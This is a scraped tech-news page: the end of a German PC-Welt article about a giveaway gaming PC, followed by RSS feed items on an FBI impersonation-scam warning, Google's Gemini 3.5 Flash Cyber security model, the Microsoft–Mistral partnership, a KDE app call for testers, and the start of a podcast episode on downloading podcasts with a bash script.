<p>Was zum Spielen spendiert Grafikspezialist Nvidia der Höllenmaschine 4. Das Gaming-Paket enthält die AAA-Titel Alan Wake Collector’s Edition, Batman: Arkham City, Battlefield 3, Borderlands, Call of Duty: Modern Warfare 3, Crysis 2, Diablo 3, Deus Ex: Human Revolution, Duke Nukem Forever, L.A. Noire, Mass Effect 3, Max Payne 3, Metro 2033, Rage, Skyrim, Starcraft II: Wings of Liberty, Star Wars. The Old Republik, The Witcher 2: Assassins of Kings.</p>



<p>Und wer die Höllenmaschine im Büroeinsatz unterfordern will, installiert <a href="https://web.archive.org/web/20101125155934/http://www.pcwelt.de/news/Jetzt-fuer-alle-Microsoft-Office-2010-ab-sofort-verfuegbar-988766.html">Microsoft Office Professional 2010</a>. Das Paket enthält die Programme Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, SharePoint, Word und Workspace.</p>



<p>Hinweis: Hier endet der Artikel über die Höllenmaschine 4 aus dem Jahre 2014.</p>



<h2 class="wp-block-heading toc">So gewinnen Sie die HMX 6</h2>



<p>Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern:</p>


<span class="cta_btn_heading cta_btn_heading_"></span><div class="cta wp-block wp-block-button cta__btn_"><a class="cta__btn" href="https://www.pcwelt.de/article/3179491/hmx-6-gewinnspiel.html" target="_blank" rel="nofollow" data-vars-link-position="CTA Button">Gewinnen Sie hier die HMX 6</a></div>


<h2 class="wp-block-heading toc">Wie Sie die HMX 6 verfolgen können</h2>



<p>In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf <a href="https://www.youtube.com/playlist?list=PLVC_WMwVwvSiOOgt6D9mN4Ud71M_uLFsS">YouTube</a>, <a href="https://www.instagram.com/pcwelt/">Instagram</a>, <a href="https://www.tiktok.com/@pcwelt.de">TikTok</a>, <a href="https://www.facebook.com/pcwelt/reels/">Facebook </a>und natürlich auf <a href="https://www.pcwelt.de/hmx" target="_blank" rel="noreferrer noopener">pcwelt.de</a>. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">HMX-6-Newsletter abonnieren</a> – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.</p>

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<title><![CDATA[Minuet, KDE's application for music education needs testers!]]></title>
<description><![CDATA[submitted by    /u/Bro666   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3685654/linux-tipps/minuet-kdes-application-for-music-education-needs-testers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685654/linux-tipps/minuet-kdes-application-for-music-education-needs-testers/</guid>
<pubDate>Wed, 22 Jul 2026 10:32:18 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/Bro666"> /u/Bro666 </a> <br> <span><a href="https://sandroandrade.org/minuet-26-08-call-for-testers/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v39nb2/minuet_kdes_application_for_music_education_needs/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims]]></title>
<description><![CDATA[The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the Internet Crime Complaint Center (IC3) to target people who have already fallen victim to scams. According to an updated Public Service Announcement (PSA), scammers are using AI-generated ...]]></description>
<link>https://tsecurity.de/de/3685580/it-security-nachrichten/fbi-updates-ic3-scam-warning-over-ai-videos-targeting-victims/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685580/it-security-nachrichten/fbi-updates-ic3-scam-warning-over-ai-videos-targeting-victims/</guid>
<pubDate>Wed, 22 Jul 2026 10:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="FBI IC3 scam" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="493" data-end="949">The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the <a href="https://thecyberexpress.com/scam-centers-in-southeast-asia/" target="_blank" rel="noopener">Internet Crime Complaint Center</a> (IC3) to target people who have already fallen victim to scams. According to an updated <a href="https://www.ic3.gov/PSA/2025/PSA250418" target="_blank" rel="nofollow noopener">Public Service Announcement</a> (PSA), scammers are using <a href="https://thecyberexpress.com/will-ai-generated-cyberattacks-surge-in-future/" target="_blank" rel="noopener">AI-generated videos</a>, <a href="https://thecyberexpress.com/ways-social-media-is-fuelling-cybercrime/" target="_blank" rel="noopener">fake social media profiles</a>, and spoofed websites to create a false sense of trust while attempting to steal personal and financial information.</p>
<p data-start="951" data-end="1367">The updated warning describes several exploitation tactics, including targeting previous scam victims, using artificial intelligence to create fictitious or misleading promotional materials, and building fake websites designed to collect personally identifiable information. The scammers falsely claim to be affiliated with government agencies or law enforcement and often promise to help victims recover lost funds.</p>

<h3 data-section-id="196yc7a" data-start="1369" data-end="1420"><strong><span role="text">FBI IC3 Scam Targets Previous Fraud Victims</span></strong></h3>
<p data-start="1422" data-end="1642">In one version of the FBI IC3 <a class="wpil_keyword_link" href="https://cyble.com/tech-scam/" target="_blank" rel="noopener" title="scam" data-wpil-keyword-link="linked" data-wpil-monitor-id="29073">scam</a>, criminals create fake social media profiles and pages that impersonate FBI personnel. The goal is to lure previous <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-scam-tips-for-safety/" title="scam" data-wpil-keyword-link="linked" data-wpil-monitor-id="29077">scam</a> victims into what the PSA describes as "re-targeting" scams.</p>
<p data-start="1644" data-end="1926">After realizing they have been defrauded, victims may tell the original scammers they plan to report the incident to the FBI and submit an IC3 complaint. The victim is then contacted by someone pretending to be an FBI agent through platforms such as Facebook Messenger and Telegram.</p>
<p data-start="1928" data-end="2139">The impersonator may send a link claiming to <a href="https://www.ic3.gov/PSA/2026/PSA260720" target="_blank" rel="nofollow noopener">update an existing IC3 complaint</a>. The link could contain malicious code or collect additional financial information, allowing criminals to further <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29074">exploit</a> the victim.</p>
<p data-start="2141" data-end="2445">In other cases, scammers approach victims through email, phone calls, social media advertisements, or online forums. They claim to have recovered lost funds or offer assistance in recovering money. The FBI warning states these claims are a ruse designed to revictimize people who have already lost money.</p>

<h3 data-section-id="j1jslh" data-start="2447" data-end="2503"><span role="text"><strong data-start="2451" data-end="2503">AI-Generated Videos Promote Spoofed IC3 Websites</strong></span></h3>
<p data-start="2505" data-end="2724">Another version of the scheme involves AI-generated videos or <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-are-deepfakes/" target="_blank" rel="noopener" title="deepfakes" data-wpil-keyword-link="linked" data-wpil-monitor-id="29075">deepfakes</a> featuring individuals impersonating FBI personnel. The videos are used on social media to promote spoofed versions of the official IC3 website.</p>
<p data-start="2726" data-end="3010">One reported example involved an AI-generated video depicting a senior FBI leader encouraging users to submit complaints through a <a href="https://thecyberexpress.com/planning-and-zoning-permit-phishing-scam/" target="_blank" rel="noopener">fake IC3 website</a>. The spoofed site was designed to resemble the legitimate government website, but its functionality was limited to complaint submission.</p>
<p data-start="3012" data-end="3257">The fake complaint form requested information including a user's name, phone number, email address, scam type, and estimated financial loss. After submission, the site provided a reference number and claimed someone would contact the individual.</p>

<h3 data-section-id="17fdwcn" data-start="3259" data-end="3316"><strong><span role="text">How to Spot AI-Generated Videos and Fake Messages</span></strong></h3>
<p data-start="3318" data-end="3633">The PSA warns that scammers can use AI-generated videos and cloned voices to impersonate company executives, law enforcement personnel, and other authority figures. These materials may be used during real-time video chats or private communications to convince victims they are speaking with a legitimate person.</p>
<p data-start="3635" data-end="3986">People are advised to carefully examine email addresses, phone numbers, URLs, and spelling for subtle inconsistencies. Potential warning signs in manipulated images and videos include distorted hands or feet, unrealistic facial features, irregular faces, unusual accessories, inaccurate shadows, watermarks, unnatural movements, and voice call delays.</p>
<p data-start="3988" data-end="4235">The FBI also advises people to be cautious when online content triggers strong emotions such as fear, anger, or disbelief. Users should verify surprising videos or images through reputable <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="news" data-wpil-keyword-link="linked" data-wpil-monitor-id="29076">news</a> sources or known official channels before responding.</p>
<p data-start="4237" data-end="4538">IC3 does not maintain a social media presence and will not contact individuals directly through phone, email, social media, messaging apps, online chats, or public forums. The agency also does not recover funds for victims through Facebook or Telegram and will never request payment for fund recovery.</p>
<p data-start="4540" data-end="4834">People seeking to file an IC3 complaint should type <a class="decorated-link" href="http://www.ic3.gov/" target="_blank" rel="nofollow noopener" data-start="4594" data-end="4605">www.ic3.gov</a> directly into their browser and verify that the website address ends in ".gov." Victims should avoid sponsored search results and suspicious links, and should never share sensitive information with websites they cannot verify.</p>
<p data-start="4836" data-end="5068" data-is-last-node="" data-is-only-node="">Anyone who has fallen victim to the scam should report it through the legitimate IC3 website and provide details about the person or company involved, communication methods, financial transactions, and interactions with the scammer.</p>]]></content:encoded>
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<item>
<title><![CDATA[Google Unveils Gemini 3.5 Flash Cyber to Find and Fix Software Vulnerabilities Faster]]></title>
<description><![CDATA[Google has introduced Gemini 3.5 Flash Cyber, a lightweight AI model designed to improve cybersecurity by helping defenders identify, validate, and patch software vulnerabilities more efficiently. Built on Gemini 3.5 Flash and optimized for security tasks, Flash Cyber aims to deliver a cost-effec...]]></description>
<link>https://tsecurity.de/de/3685467/it-security-nachrichten/google-unveils-gemini-35-flash-cyber-to-find-and-fix-software-vulnerabilities-faster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685467/it-security-nachrichten/google-unveils-gemini-35-flash-cyber-to-find-and-fix-software-vulnerabilities-faster/</guid>
<pubDate>Wed, 22 Jul 2026 08:55:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1133" height="692" src="https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Flash Cyber" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp 1133w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-300x183.webp 300w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-1024x625.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-768x469.webp 768w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-600x366.webp 600w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-750x458.webp 750w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber.webp 1133w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-300x183.webp 300w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-1024x625.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-768x469.webp 768w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-600x366.webp 600w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/Flash-Cyber-750x458.webp 750w" sizes="(max-width: 1133px) 100vw, 1133px" title="Google Unveils Gemini 3.5 Flash Cyber to Find and Fix Software Vulnerabilities Faster 4"></p><span data-contrast="auto">Google has introduced Gemini 3.5 Flash Cyber, a lightweight AI model designed to improve cybersecurity by helping defenders identify, validate, and patch software vulnerabilities more efficiently. Built on Gemini 3.5 Flash and optimized for security tasks, Flash Cyber aims to deliver a cost-effective alternative to larger AI models while supporting large-scale vulnerability analysis.</span>

<span data-contrast="auto">The company said it has invested in cybersecurity research for years, including automated vulnerability discovery through CodeMender, its code security agent that can detect and fix critical software flaws. However, as AI systems become increasingly capable of discovering <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29060">vulnerabilities</a> faster than defenders can resolve them, Google believes a scalable and affordable approach is needed.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Gemini 3.5 Flash Cyber Focuses on Scalable Cybersecurity</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">According to <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/" target="_blank" rel="nofollow noopener">Google</a>, Gemini 3.5 Flash Cyber has been fine-tuned specifically to locate, verify, and remediate vulnerabilities more effectively than Gemini's standard Flash models. Because of the technology's dual-use nature, the company is initially limiting access through a pilot program for governments and trusted partners via CodeMender, with broader availability planned over time.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google also confirmed that CodeMender's core capabilities will be made available through generally available Gemini models on the Gemini Enterprise Agent Platform.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Flash Cyber Improves Large-scale Code Analysis</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">A major challenge in <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-cybersecurity/" target="_blank" rel="noopener" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29059">cybersecurity</a> is exploring vast execution search spaces across complex codebases. Instead of relying on a single call to a <a href="https://thecyberexpress.com/us-gets-pre-release-access-to-ai-models/" target="_blank" rel="noopener">large language model</a>, CodeMender invokes Flash Cyber multiple times, allowing sub-agents to inspect significantly more code paths before generating one consolidated report.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google said the model's speed and lower operating cost make it suitable for continuous code scanning, software launch processes, and commit-scanning pipelines at scale.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Benchmark Results Show Competitive Performance</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Google evaluated Gemini 3.5 Flash <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="Cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29061">Cyber</a> using the CyberGym benchmark, which measures AI agents against hundreds of real-world software vulnerabilities. Configured to call the model up to five times before producing a final report, CodeMender achieved competitive performance against significantly larger cybersecurity models. Google noted that competitor results were based on provider self-reported scores.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The model also outperformed Gemini 3.5 Flash and 3.6 Flash during Google's internal Big Sleep evaluation, which tested <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29058">vulnerability</a> discovery in complex projects such as Chrome and Safari without safety guardrails.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In Chrome's production commit-scanning pipeline, where vulnerabilities remained undisclosed to prevent benchmark contamination, Flash Cyber again delivered a significant improvement over Gemini 3.5 Flash. Google added that competitor models released after Opus 4.6 were excluded because their safety guardrails prevented them from completing the tasks.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Testing on the V8 JavaScript Engine found 55 unique confirmed vulnerabilities with <a href="https://thecyberexpress.com/gemini-ad-safety-targets-scam-ads/" target="_blank" rel="noopener">Gemini</a> 3.5 Flash Cyber, compared with 47 for Gemini 3.5 Flash and 36 for Opus 4.6, including 10 issues missed by both competing models.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Real-world Cybersecurity Deployment</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Google said Flash Cyber is already helping secure internal projects, including Chrome, Android, Cloud, Ads and YouTube. In one example, Google's Cloud Vulnerability Research team used the model to identify remote code execution vulnerabilities in public APIs and a memory-corruption flaw within a sensitive production service in just two hours. The model also generated a 100% reliable <a href="https://thecyberexpress.com/cve-2026-45829-chromatoast-chromadb/" target="_blank" rel="noopener">remote code execution</a> exploit capable of bypassing Address Space Layout Randomization (ASLR) and Write XOR Execute (W^X).</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Google added that early feedback from Wiz and Cloud CISO <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29062">Security</a> Engineering testers indicated a significant capability improvement over Gemini 3.5 Flash. The company also highlighted resources such as OSV.dev, which tracks more than 700,000 open-source vulnerabilities, and over a decade of OSS-Fuzz <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29063">data</a> as key training assets supporting its cybersecurity models.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[Microsoft doubles down on sovereign AI with expanded Mistral partnership]]></title>
<description><![CDATA[Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 



The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment fro...]]></description>
<link>https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</guid>
<pubDate>Wed, 22 Jul 2026 04:03:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. </p>



<p class="wp-block-paragraph">The companies have announced a “<a href="https://news.microsoft.com/source/2026/07/21/microsoft-and-mistral-expand-strategic-partnership-to-give-enterprises-and-regulated-industries-frontier-ai-they-can-control/" target="_blank" rel="noreferrer noopener">significant expansion</a>” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.</p>



<p class="wp-block-paragraph">The partnership between the tech giant and the <a href="https://www.infoworld.com/article/4187526/is-mistral-late-or-savvy.html" target="_blank">three-year-old French startup</a> might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.</p>



<p class="wp-block-paragraph">“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”</p>



<p class="wp-block-paragraph">“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.</p>



<h2 class="wp-block-heading">Expands model access, sovereign cloud capabilities</h2>



<p class="wp-block-paragraph">As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.</p>



<p class="wp-block-paragraph">Mistral CEO and co-founder <a href="https://www.computerworld.com/article/4134107/mistral-ceo-over-half-of-companies-software-can-be-replaced-by-ai.html" target="_blank">Arthur Mensch</a> described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”</p>



<p class="wp-block-paragraph">In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.</p>



<p class="wp-block-paragraph">The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.</p>



<p class="wp-block-paragraph">Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and <a href="https://www.infoworld.com/article/4108044/whats-next-for-azure-infrastructure.html" target="_blank">Azure Local</a>, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.</p>



<p class="wp-block-paragraph">“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said <a href="https://www.linkedin.com/in/bradsmi" target="_blank" rel="noreferrer noopener">Brad Smith</a>, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its <a href="https://blogs.microsoft.com/on-the-issues/2025/04/30/european-digital-commitments/" target="_blank" rel="noreferrer noopener">European digital commitments</a> and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.</p>



<h2 class="wp-block-heading">Enterprise credibility</h2>



<p class="wp-block-paragraph">Gartner distinguished VP analyst <a href="https://www.gartner.com/en/experts/arun-chandrasekaran" target="_blank" rel="noreferrer noopener">Arun Chandrasekaran</a> noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”</p>



<p class="wp-block-paragraph">He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.</p>



<p class="wp-block-paragraph">Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.</p>



<p class="wp-block-paragraph">For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued <a href="https://www.cio.com/article/4198030/7-issues-impacting-ai-strategies-and-how-cios-should-respond.html" target="_blank">AI platform development</a>, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.</p>



<p class="wp-block-paragraph">“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.</p>



<h2 class="wp-block-heading">A complementary partnership</h2>



<p class="wp-block-paragraph">Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.</p>



<p class="wp-block-paragraph">One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”</p>



<p class="wp-block-paragraph">Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”</p>



<p class="wp-block-paragraph">Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/bill-wong" target="_blank" rel="noreferrer noopener">Bill Wong</a>, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”</p>



<p class="wp-block-paragraph">“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.</p>



<p class="wp-block-paragraph">Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.</p>



<p class="wp-block-paragraph">Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”</p>



<p class="wp-block-paragraph">Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 


I will illustrate this using a bash script that can be used to download HPR podcasts.


Even if you d...]]></description>
<link>https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</guid>
<pubDate>Wed, 22 Jul 2026 02:06:46 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. </p>

<p>
I will illustrate this using a bash script that can be used to download HPR podcasts.</p>

<p>
Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.</p>

<p>
It is the principles that are discussed here that are important, rather than the implementation. </p>

<p>

</p>

<p>
02</p>

<p>
I realize that there are already a number of different podcast download programs available,  including at least one written in bash. </p>

<p>
However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.</p>

<p>
If so, then I hope the following is of some use to you.</p>

<p>
If not, then you may still find some of the things discussed here to still be of interest.</p>

<p>

</p>

<p>
Some of the subjects I cover include</p>

<p>
wget to a user defined file name.</p>

<p>
parsing xml with xmllint.</p>

<p>
using inotifywait to trigger an action when a file is created or modified.</p>

<p>
using notify-send to send a message to the notification area.</p>

<p>
and</p>

<p>
a way of allowing a cron job to send a message to the user interface.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
03 Background</p>

<p>

</p>

<p>
There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. </p>

<p>
Apparently some people have been experiencing problems with the way the episode URLs are structured. </p>

<p>

</p>

<p>
04</p>

<p>
I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.</p>

<p>
Instead, I will present a bash script that I have written which can be used to download HPR podcasts.</p>

<p>
This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.</p>

<p>
This is a simplified version of a script that I have used for years to download HPR and other podcasts.</p>

<p>

</p>

<p>
05</p>

<p>
I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.</p>

<p>
I will instead describe what each section does and why I chose to do things that way.</p>

<p>
Perhaps other people can offer suggestions of better ways to do things.</p>

<p>
I will post the full bash script in the show notes.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
06 Fetching Podcasts</p>

<p>

</p>

<p>
The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.</p>

<p>
RSS is a very long established and widely supported mechanism for this and other purposes.</p>

<p>
An RSS feed is basically an XML document which can be accessed over HTTP.</p>

<p>
These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.</p>

<p>

</p>

<p>
07</p>

<p>
Basically what we need to do is the following</p>

<p>

</p>

<p>
• Download the RSS XML document.</p>

<p>
• Extract the URL links to the audio files.</p>

<p>
• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.</p>

<p>

</p>

<p>
